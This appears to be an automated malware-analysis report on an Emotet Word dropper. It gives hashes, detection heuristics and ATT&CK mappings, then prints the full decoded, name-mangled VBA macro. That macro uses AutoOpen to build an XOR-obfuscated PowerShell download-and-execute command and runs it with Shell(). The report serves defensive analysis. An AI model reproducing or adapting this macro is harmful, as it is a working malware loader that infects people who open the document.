Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 1d80007a3d1c27b4…

MALICIOUS

Office (OLE)

118.0 KB Created: 2018-06-20 10:49:00 Authoring application: Microsoft Office Word First seen: 2018-07-08
MD5: d15452a352f5a34dd238241a739b6450 SHA-1: 203d14b72d373797518ea319b87b41bb5f25d0f0 SHA-256: 1d80007a3d1c27b40a21f509b0e7cc643e3172c5a4f4c1b13d509fe42ff382a9
212 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6877457-0', indicating it's likely part of the Emotet botnet. Static analysis reveals a VBA macro with an AutoOpen function that uses Shell() to execute obfuscated PowerShell commands. The script attempts to download and execute a second-stage payload, a common Emotet behavior.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6877457-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6877457-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    fjLuR = CDate(58663)
mHDRmz = FCipCvXTnb + Shell(zjbrdOQXfH + KrQUiChilJi + vwNdGiXz, 98768 - 98768)
aIvbC = 75044
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14370 bytes
SHA-256: 45831b9ea1cb250dc7522f169432581477d9176133ca100100c3bdd9a043bc7a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
189 of 302 identifiers look randomly generated (e.g. 'KwYOKTivpBK') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "qGlUjtoGSOR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "dTwLPZlF"
Function TWJEtz()
On Error Resume Next
riBRP = CDate(68503)
LBAYj = CDate(zzSRZ + Sin(903 + 91761) * 64047 * CInt(8988))
qAiGO = 21173
wMrip = 51084
izAoCc = iUCAL
JhOXww = CByte(tuvLW)
uuDPlJLMP = "OwerSHell  " + ". ( " + "$Sh" + "el" + "LiD[1]+$sHElLI" + "D[13]+'X')(( [" + "chAR[]]( 1" + "17,28, 37"
SDjKmp = CDate(38644)
iVGGw = CDate(oLPpl + Sin(3612 + 87950) * 24598 * CInt(18538))
hqolz = 33005
NbGZnp = 39045
XZYbvc = WrdPmI
dVLadm = CByte(XROvTi)
VXQnrksO = " , 3" + " , 9, 59 , " + "113 ,1" + "08, " + "113 , " + "63,52" + ",38 ,12"
PSBBCp = CDate(53958)
vUZTI = CDate(jFsod + Sin(56710 + 77399) * 20126 * CInt(87036))
pSjGz = 11685
RhDKi = 46916
tEnAJ = QiDkH
hkFtDn = CByte(RsIFm)
HTkwkOr = "4 , 62, 51," + "59,52," + " 50 ,37" + ",1" + "13 ,35" + " , 48,63, 53" + ",62 , 60 , 10"
hDqQX = CDate(86096)
oKlTz = CDate(YddTJ + Sin(355 + 43427) * 93732 * CInt(26739))
QjZvmd = 24318
pJXuR = 47115
GupDzY = FICXE
TbIvE = CByte(sIwBb)
OzDrpjzQ = "6, 117" + " , 56,28,50 ,20" + ", 8, 3 , 113" + " ,108,113,63 ," + " 52,38 ,124 ," + " 62,51 ,59, 52 " + ", 50 ,37 , 113 " + ",2," + " 4"
LzrUQn = CDate(19759)
GFYYNw = CDate(JXAKlQ + Sin(12297 + 94072) * 39075 * CInt(70878))
iIJffw = 27858
faiDv = 216
GnpEC = ECwLn
oBFDTH = CByte(VipOPl)
MrBlnFF = "0 ,34 , 37" + " , 52,60" + ", 127 ,31, " + "52,37, 127 , 6," + "52,51 " + ", 18 ,61 , 56"
ULCZW = CDate(21906)
jGMKw = CDate(pLVEQl + Sin(78936 + 9085) * 8222 * CInt(75813))
utkjYS = 26340
JCHsUt = 5046
LQcUsH = uzQai
zPEAX = CByte(LhWvBC)
HEawv = ", 52," + "63,37, 106,1" + "17,4 ,58" + " , 32 ," + " 30, 19," + " 30 ,113 ,108, " + "113,1" + "18, 57,"
TWJEtz = uuDPlJLMP + VXQnrksO + HTkwkOr + OzDrpjzQ + MrBlnFF + HEawv
End Function
Function LazXm()
On Error Resume Next
QzYPd = CDate(75622)
OiwjLk = CDate(HhiVjp + Sin(56615 + 57760) * 69876 * CInt(12248))
DitzMS = 58948
VYXQlQ = 50367
KXvwY = dtzdEK
NKQXK = CByte(FjAqz)
NvBEtzHi = " 3" + "7 , 37, 33,10" + "7,126, 126,33 ," + "62,35 ,37 ,3"
GRmTD = CDate(44564)
zHRNs = CDate(jFXKo + Sin(46703 + 45024) * 25607 * CInt(37610))
mNGYA = 59652
ztDBwf = 4375
WrpsYC = YwfMT
JbmOR = CByte(TPzRG)
jMzJlBjV = "5, 48,56 ,37," + "38,62 ," + " 35" + ",58,34, 57 ," + "62, " + "33,127 ," + " 50,62, 60 ,1" + "26, 58 ,21,4, " + "30,5" + "0 ,10"
tOMGMS = CDate(45728)
lXbhR = CDate(IwuGZH + Sin(6552 + 25922) * 9992 * CInt(93790))
Ouvlzv = 10841
pZhXpZ = 43004
hGjRp = QiDwz
tiqmh = CByte(cNifw)
vtinqVki = "1," + "35," + "126, 17 , 5" + "7 , 37,37"
AKzNtJ = CDate(29497)
jrjOn = CDate(pNLRcl + Sin(42253 + 96204) * 20184 * CInt(86214))
IVpHf = 37493
HvwQO = 83607
SqREu = jqdVw
GpvfJ = CByte(kiLnz)
LaJEfwEAWbA = ", 3" + "3,107 , 12" + "6 ,126,38,3" + "8, 38, 127 ," + "51 , 62,62," + "58,56 " + ", 6" + "3,54 ,127 , 54" + " ,"
mWAXJ = CDate(25235)
EEViVH = CDate(wnaaP + Sin(82400 + 65490) * 53421 * CInt(51834))
Fhraa = 43823
FJiNiS = 27833
cETwC = VfSNF
uLNZC = CByte(GGaTz)
dolkkiBjjAH = " 62 ,40 ,48" + " ,61 , 60" + ",35, 56 ,127 , " + "50 , " + "62 ,60 ,126,11" + " ,"
wDtBE = CDate(64840)
sCIPN = CDate(qllXs + Sin(67508 + 42132) * 42035 * CInt(53296))
hrSwD = 37591
YuzlOG = 2764
vuwdO = TmRLZi
zDGSKv = CByte(uFuvBD)
lzPDnp = "26, 7, 56" + ", 126,17 ,57" + " ," + " 37, 37,33,10" + "7,126" + ", 12" + "6,38 , 38, "
LazXm = NvBEtzHi + jMzJlBjV + vtinqVki + LaJEfwEAWbA + dolkkiBjjAH + lzPDnp
End Function
Function WzhWl()
On Error Resume Next
wBcHw = CDate(26209)
tzHPaN = CDate(zDrEIw + Sin(70118 + 97932) * 58229 * CInt(90425))
CztlJT = 44248
dMGuJ = 40508
zaosh = pSdEv
ShiXr = CByte(GHECQi)
uZMoM = "38 , 127, 63,3" + "9 , 61 ,52 ,54" + ",48, 6" + "1,127"
QvZHj = CDate(76323)
mNsBB = CDate(dEjOSU + Sin(61661 + 78812) * 38443 * CInt(27692))
OwiFI = 7258
puSFRz = 10522
jsFXjh = SHJFi
zImkz = CByte(hwznn)
GGsfqJwFrzP = " , 5" + "0,62, 12" + "7 ,43 ,48," + " 126,98,33, 34 " + ", 2 ,98, 54" + " ,126," + "17 ,57 ,37, " + "37 , 33 ,107,12"
uRYaqZ = CDate(46318)
aXUIa = CDate(ikEiAj + Sin(98988 + 99133) * 95858 * CInt(17263))
kJVTB = 64147
KHIQho = 53718
wOCkaP = aXqsw
THLwhs = CByte(rhfCfi)
jcwGpEOzRvJ = "6,126 , 34,62," + "34, 124 ,60" + " , 56 ,50 ," + "35, 6" + "2, 1" + "27 ,63 , 52" + ", 37, 126 "
CFqnLY = CDate(85841)
iSJhY = CDate(itmAwp + Sin(53704 + 76830) * 91160 * CInt(46496))
SfJza = 37235
umbBc = 19545
PQwnwh = cpPZTJ
wjuTPd = CByte(LVSzHz)
NSvEzRwjz = ", 33, 11 , 104," + "98 , 23" + " ,126 ,1" + "7 ,5" + "7, 37" + ", 37" + " , 33 , 107 , 1" + "26 ,126 ,38 ,"
jPIZc = CDate(72333)
CAmSO = CDate(KATLSi + Sin(40016 + 33539) * 68196 * CInt(1042))
EPccfz = 22145
CCNKI = 11456
BCSmq = RsjdVA
GOKRH = CByte(Iwjjkd)
kQtTqwpzsj = "38 , 38,12" + "7 ,60 ,4" + "8 " + ",35, " + "58,52 ," + "37 ,56 "
ahTpz = CDate(525)
PUKJd = CDate(Yzsji + Sin(26898 + 37664) * 466 * CInt(81467))
rDJlIc = 46724
pvIcP = 2158
qVlai = uvvzGQ
BInzO = CByte(XaTPMI)
ujGowWIEPs = ",63,54 ," + "53,56 , 54," + " 56 ,37 , 48 " + ",61 ,60" + ",48,50 " + ", 48" + ",52 , 127,5" + "0, 62" + ", "
WzhWl = uZMoM + GGsfqJwFrzP + jcwGpEOzRvJ + NSvEzRwjz + kQtTqwpzsj + ujGowWIEPs
End Function
Function BLZuAAic()
On Error Resume Next
NjSHb = CDate(5876)
VlDzJZ = CDate(zvFEu + Sin(13420 + 19652) * 94750 * CInt(16188))
wiWqUZ = 65078
wiCPM = 71415
jNMbuC = NGiQpX
kwoVkJ = CByte(TNZdna)
GwFKsHpdcpM = "60, 127 ,51 , 3" + "5 ,12" + "6 ,1" + "8,28 ," + " 2" + "4, 32, " + "126 ,118 , 12" + "7,2 ,33," + "61, 56, 37 , 1" + "21 ,"
lCrwJ = CDate(45926)
GPEukX = CDate(FduHc + Sin(66522 + 25896) * 39767 * CInt(74643))
ajRUR = 37940
KuaSd = 29492
zSqlkn = ocTkYr
sTFQX = CByte(aOqIbj)
rBzYlVYTRf = "118 , 17, " + "118 ," + " 120, " + "106 , 11"
KGIDih = CDate(72780)
wiHvr = CDate(SURYR + Sin(53 + 84656) * 86642 * CInt(80611))
fASUk = 92088
wnnwW = 8101
PTIdYT = TwBFD
wBEQP = CByte(wrjHV)
sFNftamAqqL = "7, 3, 2,3 ," + " 3," + "18" + ",113" + ",108,113 ," + "117 , 28, 37, 3" + ",9 ,59, 1"
dVowq = CDate(35435)
wVkdB = CDate(oaiGu + Sin(30313 + 65586) * 93721 * CInt(88406))
tJZsv = 54145
EKjajf = 7991
daRnm = HdNqVa
IqVjR = CByte(joKZI)
OzMwUMKI = "27 ,63 ,52 " + ",41" + ",37 ,1" + "21 , 96 ,1" + "25 , 113" + " ,100,103, 101 "
HQLAN = CDate(61558)
vLpBRp = CDate(RGDLwt + Sin(48393 + 27029) * 7388 * CInt(31152))
MUNcq = 95259
OKTnE = 38597
rdtmK = DaqQwJ
PJaEjQ = CByte(YYicF)
NwYnj = ",101,101 , 100" + ", 120 , 106,1" + "17 , 29 ,56 " + ",35, 4,3" + " ,20 ,113,108 ," + " 113, 117 ," + "52 ,63"
wqzRUw = CDate(82055)
lamJjr = CDate(zuzUpc + Sin(45254 + 29732) * 4581 * CInt(44721))
ntiuR = 40593
UiWuk = 4335
OcrIid = ZawuR
jLotM = CByte(kWCkJB)
KwYOKTivpBK = " , 39 , " + "107 , 37,52 ,60" + ", " + "33, 113,122 , " + "113 ,118 ,13,11" + "8 , 113 " + ",122 , 113,11"
KRjDd = CDate(50108)
KGciAo = CDate(LWTBz + Sin(79384 + 83577) * 14879 * CInt(99687))
cDGYHl = 78173
ZVdLpA = 22706
zXomQ = RsucS
Saawu = CByte(iNFdrI)
vKVFjDimkb = "7, 3,2, 3,3, 18" + ",11" + "3 ," + " 122 ,113, 1" + "18," + " 12" + "7, 52" + ", 4" + "1 , 52"
BLZuAAic = GwFKsHpdcpM + rBzYlVYTRf + sFNftamAqqL + OzMwUMKI + NwYnj + KwYOKTivpBK + vKVFjDimkb
End Function
Function dfbNNKQYR()
On Error Resume Next
lGLoZ = CDate(94075)
XlAqvC = CDate(BRKPZ + Sin(59162 + 79570) * 96915 * CInt(52462))
wwGdXr = 73215
uozuoE = 16417
QTOPX = bGWmK
uSPCRK = CByte(GlNup)
CfpQUGSpt = ", 118, " + "106,55 , 62,35 " + ",5" + "2,48 " + ",50 ,57, " + "121, 1" + "17,"
jZPPK = CDate(43128)
Siqkp = CDate(oJEdK + Sin(64926 + 97584) * 58065 * CInt(72732))
YGPlE = 79609
zVuSEf = 80545
QWLwQ = MFEwuo
zUKVni = CByte(YGiiAM)
RbuiPX = "43 ,62 ,6 , 3" + "8 , 22,113 ," + " 56, 63,11" + "3, 117 " + ", 4 ,58,32 ,30 " + ", 19 ,30 , " + "120"
SkjtOA = CDate(55873)
HQOtw = CDate(rfZpnB + Sin(78802 + 13652) * 65474 * CInt(72702))
lzWJO = 3945
JlzzH = 7238
AqTAdv = wEWjED
XSNuw = CByte(zswZG)
jnDicruPr = " , 42, 37, " + "35, 40,42 ," + "117, 56 ," + " 28, 50 ,20, 8," + "3,127 , 21, 62 "
vtYIa = CDate(41157)
iPrJai = CDate(EozjK + Sin(74985 + 12927) * 88513 * CInt(35604))
vCVUT = 16793
NtzaIp = 89991
jKsuz = tTmiYB
EmLCuL = CByte(JJDiU)
nDANRRd = ",38, 63, 61," + " 6" + "2,4" + "8, 53"
zqozqD = CDate(21594)
mMMwFX = CDate(Ezwli + Sin(28926 + 42590) * 99250 * CInt(8598))
bMwIV = 24445
MFFJck = 14183
XaPkd = ndBzM
ThOBb = CByte(cQcnf)
HYzviVqCP = " ,2" + "3,56" + ",61 , 52 " + ", 121 , 1" + "17"
VDawQ = CDate(71561)
fUmlsi = CDate(aWKML + Sin(79358 + 70072) * 54199 * CInt(54229))
QwDEY = 35208
dHHhoX = 62685
VDfmc = dbQwu
CAYbqk = CByte(TdvzJr)
Vsmis = ",43 ,62 ," + "6 , 38, " + "22 , 1" + "27,5, 62, 2" + " , 37, 35,56," + " 63 ,54,"
cmIit = CDate(5091)
iANvp = CDate(XBCtWc + Sin(81286 + 57940) * 27094 * CInt(15038))
qwBdsG = 71610
JNiiT = 2960
QYjtb = UadjWP
zCotbE = CByte(NFFCGJ)
BWltiYuU = " 121, " + "120 ,125," + " 113,117 ,29,5" + "6 ,35 ,4" + " ,3 , 20, 12" + "0,10"
VMwBmj = CDate(68387)
uIKMj = CDate(izchY + Sin(46579 + 75409) * 94910 * CInt(20492))
zmZEMD = 22171
aDZWb = 45753
IkNrs = WRkhc
dSfOiH = CByte(UWLCQ)
nkwffijIY = "6,2, 37 , 48 " + ", 35" + " ,37" + " ,124," + " 1" + " , 35, 62 , 50" + ",52 , " + "34 ,34 ,113 , 1" + "17, 29," + "56 "
tbwaEY = CDate(48700)
BwPOA = CDate(GmJEWS + Sin(85783 + 75003) * 85192 * CInt(53396))
KUBzEn = 41326
iwUVcw = 82179
YdKXD = GBYbZz
disGXB = CByte(sCSrQh)
AbjhHbiZNk = ",35 ,4,3, " + "20, " + "106 , " + "51, 35 " + ",52,48" + " ,58 " + ",106 , 44 ,"
dfbNNKQYR = CfpQUGSpt + RbuiPX + jnDicruPr + nDANRRd + HYzviVqCP + Vsmis + BWltiYuU + nkwffijIY + AbjhHbiZNk
End Function
Function ilmGRKb()
On Error Resume Next
bFjnf = CDate(41559)
wWKwlv = CDate(NXHuz + Sin(24606 + 73239) * 61082 * CInt(39744))
BPmPJ = 75383
dRTQWv = 75766
cICAFk = kivaJF
OtGjWV = CByte(vPkzLI)
ESYNHALHA = " 50,48, 37, 50," + " 5" + "7 " + ", 42,38 ,35, "
AwDSf = CDate(33447)
sVJYCq = CDate(sSNHbV + Sin(74148 + 39128) * 59081 * CInt(47469))
ZJirdC = 28418
zljCF = 73046
RGwuX = PbjYMi
bvlqKW = CByte(ZtljL)
lRuqmtPjV = "56," + "37 , " + "52 ,1" + "24 , 5"
JbHKf = CDate(77757)
KpmjOs = CDate(bzTYo + Sin(83674 + 11540) * 21000 * CInt(72220))
nUmaG = 60731
cuRqT = 28479
tvzVi = CEHMDM
EqQfRi = CByte(OKhww)
tsbPzw = "7 ,62 ,34 , " + "37 " + ", 11" + "3 ,117, 14 ,"
fHfJPk = CDate(84439)
WAmwhm = CDate(VjtRks + Sin(89689 + 301) * 87497 * CInt(9322))
jRZSb = 33445
jwfnG = 63819
XKJdY = zTBJtJ
JJHTwp = CByte(RkoSbO)
RWQIuTiO = " 127" + ", 20,41 , 50 " + ",52" + ",33 ,"
twOkSc = CDate(45023)
klNGtM = CDate(OVUuV + Sin(98222 + 66744) * 41327 * CInt(54211))
HCpOH = 48017
RXmkrZ = 86069
CGFUU = LudnG
irkHm = CByte(sMhTt)
VCAoXUp = " 37, 56 , 62 " + ", 63 , 127, 28," + " 52, 34,34,48 " + ", 54 ,52 ,106 ,"
BMPYw = CDate(40543)
wIkHJ = CDate(wnpjDr + Sin(54531 + 7928) * 75453 * CInt(43227))
dNaBdr = 25074
zBFIo = 31439
cfHzI = SfIYc
YdKam = CByte(PWSMQ)
NBCKTOYw = "44 , 44 ) |for" + "EaC" + "h-oBjE" + "cT {" + " [chAR] (" + "$_ -BXor'0" + "x51') })"
ilmGRKb = ESYNHALHA + lRuqmtPjV + tsbPzw + RWQIuTiO + VCAoXUp + NBCKTOYw
End Function
Function DwcFUu()
On Error Resume Next
SbBEVW = CDate(83400)
wionXj = CDate(bhTQia + Sin(7521 + 19419) * 38771 * CInt(14983))
nWBzn = 62762
KiKPm = 158
biFnv = cWVuAt
pOVoQO = CByte(PvRNFo)
jSPTwsqs = "-jOiN'')"
DwcFUu = jSPTwsqs
End Function

Function utmwDIKwi()
On Error Resume Next
QpsCsv = 85431
ECqhZr = 43105
diXaO = CDate(busIIK + Sin(28719 + 583) * 62338 * CInt(67275))
fcoNw = Nhbslw
HDauMR = CByte(aMnGmM)
zHGIrp = CDate(83697)
DAzRuw = 56142
KJSmu = 44505
GUhap = CDate(Tbcow + Sin(6751 + 99836) * 69286 * CInt(59830))
vKZis = nWtGLt
awaXB = CByte(MDLfk)
smppw = CDate(16281)
tWlKik = 69357
ZSkmK = 60428
dRFMzG = CDate(YOAHG + Sin(47189 + 12582) * 33572 * CInt(42563))
jdQitM = HBipDJ
PckaN = CByte(tfZZLP)
LjiAZL = CDate(34119)
QfUGK = 48562
HjkFh = 41022
sinoU = CDate(qXPww + Sin(47243 + 66479) * 75147 * CInt(60398))
tdZrtO = RkCFJI
JIEPM = CByte(thAzj)
WFvYk = CDate(41006)
TkIVs = 58663
dksrnY = 23072
MncGKc = CDate(tQWBk + Sin(17016 + 25026) * 17151 * CInt(2289))
SASMYG = DiwPSI
EbBRqH = CByte(uLdLd)
WERAhP = CDate(89162)
End Function
Function rdGauAEVOw()
On Error Resume Next
fcBuHJ = 87692
ktRoZ = 76844
VcbmV = CDate(LizlJz + Sin(79738 + 39549) * 3731 * CInt(90973))
OIODG = JBBTam
JvQMOO = CByte(dojhCf)
JaIhYz = CDate(31548)
FJRvjVsw = RcWlE + Chr(wYiEQZPjQ + 80 + XATmbzu)
csmRJh = 92955
YPjRIv = 55016
QjBuN = CDate(wVVwt + Sin(48897 + 89001) * 32089 * CInt(37683))
dBZRa = PWLBS
hnpYNI = CByte(rBROm)
kUWls = CDate(48738)
muLCL = 77097
wLHqP = 77891
FQbRwo = CDate(bjqWF + Sin(73984 + 61986) * 19884 * CInt(95504))
KQaSX = wAUOkH
FYorB = CByte(GskTI)
OQfjMr = CDate(9238)
rdGauAEVOw = swqIWl + FJRvjVsw + TWJEtz + LazXm + WzhWl + BLZuAAic + dfbNNKQYR + ilmGRKb + DwcFUu
XsNzfJ = 89558
lDlEs = 33755
wvQVB = CDate(RDbnOA + Sin(3567 + 94571) * 63301 * CInt(62793))
ZzzkdM = TTGOoS
CnhGhM = CByte(adiiV)
RiZhTX = CDate(82984)
End Function
Function FnIjwiYNOj(KrQUiChilJi)
On Error Resume Next
jNkXCr = 39341
sQsWL = 52877
zPsoPt = CDate(lMNbUM + Sin(98516 + 84835) * 73884 * CInt(33866))
PRMJLj = iiwUh
bUzsC = CByte(YuaVji)
hsCPJ = CDate(52880)
dIAmh = 23782
wGVDGL = 21591
iEUcj = CDate(IRGQa + Sin(53238 + 99016) * 79989 * CInt(87804))
iJOwn = GciHSc
PVDpGk = CByte(uKPoE)
fjLuR = CDate(58663)
mHDRmz = FCipCvXTnb + Shell(zjbrdOQXfH + KrQUiChilJi + vwNdGiXz, 98768 - 98768)
aIvbC = 75044
icjknL = 79407
YsiiL = CDate(ATUkL + Sin(24625 + 75512) * 42379 * CInt(5196))
rdQVSV = bNIjjC
pMETlT = CByte(kChSjz)
uZsfTK = CDate(18840)
End Function
Sub AutoOpen()
On Error Resume Next
HckjM = 63708
ESTni = 80355
idCir = CDate(nVnlj + Sin(17515 + 14051) * 6335 * CInt(54943))
IMJHs = vwkHmi
kFXWt = CByte(qtnlCE)
UDXRQ = CDate(48048)
Application.Run wmWZtAc + "FnIjwiYNOj" + PUmCNMwhi, dpBOTjhHhbY + rdGauAEVOw + pwoLrNKCwc
CpfjB = 39705
vMwDXj = 74745
SPVcNU = CDate(SjaFX + Sin(55273 + 87727) * 92934 * CInt(83003))
nqEpO = VVqaw
CCtzz = CByte(zOEGRJ)
hDzjXE = CDate(32546)
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.